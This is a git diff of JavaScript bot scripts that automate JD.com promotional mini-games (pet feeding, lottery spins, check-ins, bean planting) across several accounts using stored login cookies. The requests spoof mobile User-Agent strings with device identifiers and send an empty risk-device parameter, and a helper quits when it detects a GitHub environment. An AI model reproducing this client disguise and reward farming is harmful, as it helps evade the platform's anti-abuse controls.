+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data.resultCode === 0) {
+ if (data.resultData.resultCode === 0) {
+ if (data.resultData.resultData && data.resultData.resultData.goods) {
+ console.log(`\n食物名称 数量`);
+ for (let item of data.resultData.resultData.goods) {
+ console.log(`${item.goodsName} ${item.count}g`);
+ }
+ for (let item of data.resultData.resultData.goods) {
+ if (item.count >= 20) {
+ console.log(`10秒后开始喂食${item.goodsName},当前数量为${item.count}g`)
+ await $.wait(10000);
+ await pigPetAddFood(item.sku);
+ }
+ }
+ } else {
+ console.log(`暂无食物`)
+ }
+ } else {
+ console.log(`开宝箱其他情况:${JSON.stringify(data)}`)
+ }
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//喂食
+function pigPetAddFood(skuId) {
+ return new Promise(async resolve => {
+ console.log(`skuId::::${skuId}`)
+ const body = {
+ "source": 0,
+ "channelLV":"yqs",
+ "riskDeviceParam":"{}",
+ "skuId": skuId.toString(),
+ "category":"1001",
+ }
+ // const body = {
+ // "source": 2,
+ // "channelLV":"juheye",
+ // "riskDeviceParam":"{}",
+ // "skuId": skuId.toString(),
+ // }
+ $.post(taskUrl('pigPetAddFood', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ console.log(`喂食结果:${data}`)
+ data = JSON.parse(data);
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function pigPetLogin() {
+ return new Promise(async resolve => {
+ const body = {
+ "source":2,
+ "channelLV":"juheye",
+ "riskDeviceParam":"{}",
+ }
+ $.post(taskUrl('pigPetLogin', body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data.resultCode === 0) {
+ if (data.resultData.resultCode === 0) {
+ $.hasPig = data.resultData.resultData.hasPig;
+ if (!$.hasPig) {
+ console.log(`\n京东账号${$.index} ${$.nickName} 未开启养猪活动,请手动去京东金融APP开启此活动\n`)
+ return
+ }
+ if (data.resultData.resultData.wished) {
+ if (data.resultData.resultData.wishAward) {
+ allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${data.resultData.resultData.wishAward.name}已可兑换${$.index !== cookiesArr.length ? '\n\n' : ''}`
+ }
+ }
+ } else {
+ console.log(`Login其他情况:${JSON.stringify(data)}`)
+ }
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//开宝箱
+function pigPetOpenBox() {
+ return new Promise(async resolve => {
+ const body = {"source":0,"channelLV":"yqs","riskDeviceParam":"{}","no":5,"category":"1001","t": Date.now()}
+ $.post(taskUrl('pigPetOpenBox', body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ // console.log(data)
+ data = JSON.parse(data);
+ if (data.resultCode === 0) {
+ if (data.resultData.resultCode === 0) {
+ if (data.resultData.resultData && data.resultData.resultData.award) {
+ console.log(`开宝箱获得${data.resultData.resultData.award.content},数量:${data.resultData.resultData.award.count}`);
+
+ } else {
+ console.log(`开宝箱暂无奖励`)
+ }
+ await $.wait(2000);
+ await pigPetOpenBox();
+ } else if (data.resultData.resultCode === 420) {
+ console.log(`开宝箱失败:${data.resultData.resultMsg}`)
+ } else {
+ console.log(`开宝箱其他情况:${JSON.stringify(data)}`)
+ }
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//查询大转盘的次数
+function pigPetLotteryIndex() {
+ $.currentCount = 0;
+ return new Promise(async resolve => {
+ const body = {
+ "source":0,
+ "channelLV":"juheye",
+ "riskDeviceParam": "{}"
+ }
+ $.post(taskUrl('pigPetLotteryIndex', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ // console.log(data)
+ data = JSON.parse(data);
+ if (data.resultCode === 0) {
+ if (data.resultData.resultCode === 0) {
+ if (data.resultData.resultData) {
+ console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`);
+ $.currentCount = data.resultData.resultData.currentCount;
+ }
+ } else {
+ console.log(`查询大转盘的次数:${JSON.stringify(data)}`)
+ }
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//查询签到情况
+function pigPetSignIndex() {
+ $.sign = true;
+ return new Promise(async resolve => {
+ const body = {
+ "source":2,
+ "channelLV":"juheye",
+ "riskDeviceParam": "{}"
+ }
+ $.post(taskUrl('pigPetSignIndex', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ // console.log(data)
+ data = JSON.parse(data);
+ if (data.resultCode === 0) {
+ if (data.resultData.resultCode === 0) {
+ if (data.resultData.resultData) {
+ $.sign = data.resultData.resultData.sign;
+ $.no = data.resultData.resultData.today;
+ }
+ } else {
+ console.log(`查询签到情况异常:${JSON.stringify(data)}`)
+ }
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//抽奖
+function pigPetLotteryPlay() {
+ return new Promise(async resolve => {
+ const body = {
+ "source":0,
+ "channelLV":"juheye",
+ "riskDeviceParam":"{}",
+ "t":Date.now(),
+ "type":0,
+ }
+ $.post(taskUrl('pigPetLotteryPlay', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ // console.log(data)
+ data = JSON.parse(data);
+ if (data.resultCode === 0) {
+ if (data.resultData.resultCode === 0) {
+ if (data.resultData.resultData) {
+ // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`);
+ $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数
+ }
+ } else {
+ console.log(`其他情况:${JSON.stringify(data)}`)
+ }
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+async function missions() {
+ for (let item of $.missions) {
+ if (item.status === 4) {
+ console.log(`\n${item.missionName}任务已做完,开始领取奖励`)
+ await pigPetDoMission(item.mid);
+ } else if (item.status === 5){
+ console.log(`\n${item.missionName}已领取`)
+ } else if (item.status === 3){
+ console.log(`\n${item.missionName}未完成`)
+ if (item.mid === 'CPD01') {
+ await pigPetDoMission(item.mid);
+ } else {
+ //TODO
+ // await pigPetDoMission(item.mid);
+ // await queryMissionReceiveAfterStatus(item.mid);
+ // await finishReadMission(item.mid);
+ }
+ }
+ }
+}
+//领取做完任务的奖品
+function pigPetDoMission(mid) {
+ return new Promise(async resolve => {
+ const body = {
+ "source":0,
+ "channelLV":"",
+ "riskDeviceParam":"{}",
+ mid
+ }
+ $.post(taskUrl('pigPetDoMission', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ console.log('pigPetDoMission',data)
+ data = JSON.parse(data);
+ if (data.resultCode === 0) {
+ if (data.resultData.resultCode === 0) {
+ if (data.resultData.resultData) {
+ if (data.resultData.resultData.award) {
+ console.log(`奖励${data.resultData.resultData.award.name},数量:${data.resultData.resultData.award.count}`)
+ }
+ }
+ } else {
+ console.log(`其他情况:${JSON.stringify(data)}`)
+ }
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//查询任务列表
+function pigPetMissionList() {
+ return new Promise(async resolve => {
+ const body = {
+ "source":0,
+ "channelLV":"",
+ "riskDeviceParam":"{}",
+ }
+ $.post(taskUrl('pigPetMissionList', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ // console.log(data)
+ data = JSON.parse(data);
+ if (data.resultCode === 0) {
+ if (data.resultData.resultCode === 0) {
+ if (data.resultData.resultData) {
+ $.missions = data.resultData.resultData.missions;//抽奖后剩余的抽奖次数
+ }
+ } else {
+ console.log(`其他情况:${JSON.stringify(data)}`)
+ }
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function queryMissionReceiveAfterStatus(missionId) {
+ return new Promise(resolve => {
+ const body = {"missionId": missionId.toString()};
+ const options = {
+ "url": `${MISSION_BASE_API}/queryMissionReceiveAfterStatus?reqData=%7B%2522missionId%2522:%2522${Number(missionId)}%2522%7D`,
+ "headers": {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-CN,zh;q=0.9",
+ "Connection": "keep-alive",
+ "Host": "ms.jr.jd.com",
+ "Cookie": cookie,
+ "Origin": "https://jdjoy.jd.com",
+ "Referer": "https://jdjoy.jd.com/",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.get(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ console.log('queryMissionReceiveAfterStatus',data)
+ // data = JSON.parse(data);
+ // if (data.resultCode === 0) {
+ // if (data.resultData.resultCode === 0) {
+ // if (data.resultData.resultData) {
+ // // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`);
+ // $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数
+ // }
+ // } else {
+ // console.log(`其他情况:${JSON.stringify(data)}`)
+ // }
+ // }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//做完浏览任务发送信息API
+function finishReadMission(missionId) {
+ return new Promise(async resolve => {
+ const body = {"missionId": missionId.toString(),"readTime":10};
+ const options = {
+ "url": `${MISSION_BASE_API}/finishReadMission?reqData=%7B%2522missionId%2522:%2522${Number(missionId)}%2522,%2522readTime%2522:10%7D`,
+ "headers": {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-CN,zh;q=0.9",
+ "Connection": "keep-alive",
+ "Host": "ms.jr.jd.com",
+ "Cookie": cookie,
+ "Origin": "https://jdjoy.jd.com",
+ "Referer": "https://jdjoy.jd.com/",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.get(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ console.log('finishReadMission',data)
+ // data = JSON.parse(data);
+ // if (data.resultCode === 0) {
+ // if (data.resultData.resultCode === 0) {
+ // if (data.resultData.resultData) {
+ // // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`);
+ // $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数
+ // }
+ // } else {
+ // console.log(`其他情况:${JSON.stringify(data)}`)
+ // }
+ // }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function taskUrl(function_id, body) {
+ return {
+ url: `${JD_API_HOST}/${function_id}?_=${Date.now()}`,
+ body: `reqData=${encodeURIComponent(JSON.stringify(body))}`,
+ headers: {
+ 'Accept' : `*/*`,
+ 'Origin' : `https://u.jr.jd.com`,
+ 'Accept-Encoding' : `gzip, deflate, br`,
+ 'Cookie' : cookie,
+ 'Content-Type' : `application/x-www-form-urlencoded;charset=UTF-8`,
+ 'Host' : `ms.jr.jd.com`,
+ 'Connection' : `keep-alive`,
+ // 'User-Agent' : `jdapp;iPhone;9.0.0;13.4.1;e35caf0a69be42084e3c97eef56c3af7b0262d01;network/4g;ADID/F75E8AED-CB48-4EAC-A213-E8CE4018F214;supportApplePay/3;hasUPPay/0;pushNoticeIsOpen/1;model/iPhone11,8;addressid/2005183373;hasOCPay/0;appBuild/167237;supportBestPay/0;jdSupportDarkMode/0;pv/1287.19;apprpd/MyJD_GameMain;ref/https%3A%2F%2Fuua.jr.jd.com%2Fuc-fe-wxgrowing%2Fmoneytree%2Findex%2F%3Fchannel%3Dyxhd%26lng%3D113.325843%26lat%3D23.204628%26sid%3D2d98e88cf7d182f60d533476c2ce777w%26un_area%3D19_1601_50258_51885;psq/1;ads/;psn/e35caf0a69be42084e3c97eef56c3af7b0262d01|3485;jdv/0|kong|t_1000170135|tuiguang|notset|1593059927172|1593059927;adk/;app_device/IOS;pap/JA2015_311210|9.0.0|IOS 13.4.1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`,
+ 'User-Agent' : `jdapp;android;8.5.12;9;network/wifi;model/GM1910;addressid/1302541636;aid/ac31e03386ddbec6;oaid/;osVer/28;appBuild/73078;adk/;ads/;pap/JA2015_311210|8.5.12|ANDROID 9;osv/9;pv/117.24;jdv/0|kong|t_1000217905_|jingfen|644e9b005c8542c1ac273da7763971d8|1589905791552|1589905794;ref/com.jingdong.app.mall.WebActivity;partner/oppo;apprpd/Home_Main;Mozilla/5.0 (Linux; Android 9; GM1910 Build/PKQ1.190110.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36 Edg/86.0.4240.111`,
+ 'Referer' : `https://u.jr.jd.com/`,
+ 'Accept-Language' : `zh-cn`
+ }
+ }
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_plantBean.js b/Task/jd_plantBean.js
new file mode 100644
index 0000000..c4f1ab9
--- /dev/null
+++ b/Task/jd_plantBean.js
@@ -0,0 +1,751 @@
+/*
+种豆得豆 脚本更新地址:jd_plantBean.js
+更新时间:2021-04-9
+活动入口:京东APP我的-更多工具-种豆得豆
+已支持IOS京东多账号,云端多京东账号
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+注:会自动关注任务中的店铺跟商品,介意者勿使用。
+互助码shareCode请先手动运行脚本查看打印可看到
+每个京东账号每天只能帮助3个人。多出的助力码将会助力失败。
+=====================================Quantumult X=================================
+[task_local]
+1 7-21/2 * * * jd_plantBean.js, tag=种豆得豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png, enabled=true
+
+=====================================Loon================================
+[Script]
+cron "1 7-21/2 * * *" script-path=jd_plantBean.js,tag=京东种豆得豆
+
+======================================Surge==========================
+京东种豆得豆 = type=cron,cronexp="1 7-21/2 * * *",wake-system=1,timeout=3600,script-path=jd_plantBean.js
+
+====================================小火箭=============================
+京东种豆得豆 = type=cron,script-path=jd_plantBean.js, cronexpr="1 7-21/2 * * *", timeout=3600, enable=true
+
+搬的https://github.com/uniqueque/QuantumultX/blob/4c1572d93d4d4f883f483f907120a75d925a693e/Script/jd_plantBean.js
+*/
+const $ = new Env('京东种豆得豆');
+//Node.js用户请在jdCookie.js处填写京东ck;
+//ios等软件用户直接用NobyDa的jd cookie
+let jdNotify = true;//是否开启静默运行。默认true开启
+let cookiesArr = [], cookie = '', jdPlantBeanShareArr = [], isBox = false, notify, newShareCodes, option, message,subTitle;
+//京东接口地址
+const JD_API_HOST = 'https://api.m.jd.com/client.action';
+//助力好友分享码(最多3个,否则后面的助力失败)
+//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。
+//下面给出两个账号的填写示例(iOS只支持2个京东账号)
+let shareCodes = [ // IOS本地脚本用户这个列表填入你要助力的好友的shareCode
+ //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开
+ '66j4yt3ebl5ierjljoszp7e4izzbzaqhi5k2unz2afwlyqsgnasq@olmijoxgmjutyrsovl2xalt2tbtfmg6sqldcb3q@e7lhibzb3zek27amgsvywffxx7hxgtzstrk2lba@e7lhibzb3zek32e72n4xesxmgc2m76eju62zk3y@l4ex6vx6yynovp6l5zmgzx4nssii54ewecu36gi@l4ex6vx6yynovp6l5zmgzx4nssii54ewecu36gi',
+ //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开
+ 'olmijoxgmjutyx55upqaqxrblt7f3h26dgj2riy@mlrdw3aw26j3wgzjipsxgonaoyr2evrdsifsziyvnsb2r54jq34s64sc4it3jlfnejwmtmsuadax2i@eeexxudqtlampbpvmceutaaht5tcftvr6kohuny@e7lhibzb3zek27gfeceqb6wwm45gshcaroxg5ka@e7lhibzb3zek3xxnrskw4mpzstihpk3f7fqziiy@olmijoxgmjutzhazczrfgf75qrbqseqdmb5ey5a',
+]
+let allMessage = ``;
+let currentRoundId = null;//本期活动id
+let lastRoundId = null;//上期id
+let roundList = [];
+let awardState = '';//上期活动的京豆是否收取
+let randomCount = $.isNode() ? 20 : 5;
+!(async () => {
+ await requireConfig();
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ await TotalBean();
